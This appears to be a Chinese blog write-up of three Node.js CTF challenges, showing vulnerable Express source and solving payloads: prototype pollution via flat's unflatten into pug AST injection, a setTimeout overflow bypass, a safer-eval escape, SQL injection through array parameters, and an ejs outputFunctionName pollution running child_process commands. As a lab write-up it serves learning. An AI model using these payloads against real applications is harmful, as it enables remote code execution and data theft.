几道和node有关的ctf题目

湖湘杯 2021 final vote

const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { hero } = unflatten(req.body); //触发原型链污染
	console.log(hero)
	if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
		return res.json({
			'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })	//触发AST注入
		});
	} else {
		return res.json({
			'response': 'Please provide us with correct name.'
		});
	}
});
module.exports = router;

谷歌搜ast injection第一个就是exp。unflatten触发原型链污染,pug触发AST注入。

{
    "hero.name":"锐雯",
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`cat /flag>/app/static/flag`)"
    }
}

好像不太难,后面想跟着文章跟一下pug的AST,发现太菜了完全看不懂qwq

GKCTF 2020 ez三剑客-easynode

首先要把delay弄小点,绕一下这个东西

app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

随便试了试,delay设成非常大的数就okk
后面调试时候发现是因为
(node:34800) TimeoutOverflowWarning: 1e+39 does not fit into a 32-bit signed integer.
Timeout duration was set to 1.
也就是说timeout第二个参数大于32位整数就会自动设成1ms
然后就是危险函数safer(?)Eval

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
        console.log(e)
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

谷歌第二条就是poc
https://snyk.io/test/npm/safer-eval/1.3.6
用curl检验被抛出异常,以为poc有问题,本地debug一下才发现是题目不出网。。而且由于直接把response发回来,所以是有回显的。浪费时间了属于

最后上网搜了一下,前面绕delay也可以把访问uri改成/eval/

GKCTF 2021 easynode

首先得先绕登录

let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}

str slice看着就不对,正常应该直接str[i]='*'完事。
众所周知get/post是可以传数组的。构造一个username和password
username[]=' or 1 #&username[]=(&password=foo
这样username就变成
username=["' or 1 #","("]
由于括号被替换发生了字符串相加,username变成
username=' or 1 #\*
这样就逃出了引号,完成注入。

然后在test.js发现exp(还有这种好事?)

var jsExtend = require("js-extend")
var obj = {"123":"saddas"}
var malicious_payload = '{"__proto__":{"outputFunctionName":"x;console.log(1);process.mainModule.require(\'child_process\').exec(\'calc\');x","name":"123"}}';
console.log(malicious_payload);
console.log("Before: " + {}.outputFunctionName);
jsExtend.extend(obj, JSON.parse(malicious_payload));
console.log("After : " + {}.outputFunctionName);

app.get('/test',async (req,res)=>{

    username="__proto__";
    board ='{"__proto__":{"outputFunctionName":"x;console.log(1);process.mainModule.require(\'child_process\').exec(\'calc\');x"}}'
    extend({},JSON.parse(board));
    console.log({}.outputFunctionName);
    console.log(JSON.stringify(board));
    const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
    res.writeHead(200, {"Content-Type": "text/html"});
    res.end(html)
})

依葫芦画瓢(原理以后填坑吧),触发条件有俩:
一是把字符串x'{"__proto__":{"outputFunctionName":"x;console.log(1);process.mainModule.require(\'child_process\').exec(\'calc\');x"}}'传到extend({},JSON.parse(x))中的x里,二是让x作为ejs.renderFile的第二个参数。

第二个条件在/admin下

app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        board = JSON.parse(query[0].board);
        console.log(board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});

看了看,要想办法让board可控

第一个条件在/adminDiv

app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        for(var key in data){
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});

发现data是可控的,但username不太对。注册一个名为__proto__的用户名即可

在/addAdmin下。拿好sql注入得到的token去注册proto,然后再用proto登录拿另一个token。然后去adminDiv发送payload
/POST data={"outputFunctionName"%3a"x%3bglobal.process.mainModule.require('child_process').exec('sleep+5s')%3bx"}
再用proto访问/admin即可RCE

本地通了,nss上的环境若无其事,救命qwq

总结?

好像没怎么手动找原型链,都是现成的exp qwq(来自某脚本小子的哭泣)
下次一定

posted @ 2022-03-14 23:16  KingBridge  阅读(484)  评论(0编辑  收藏  举报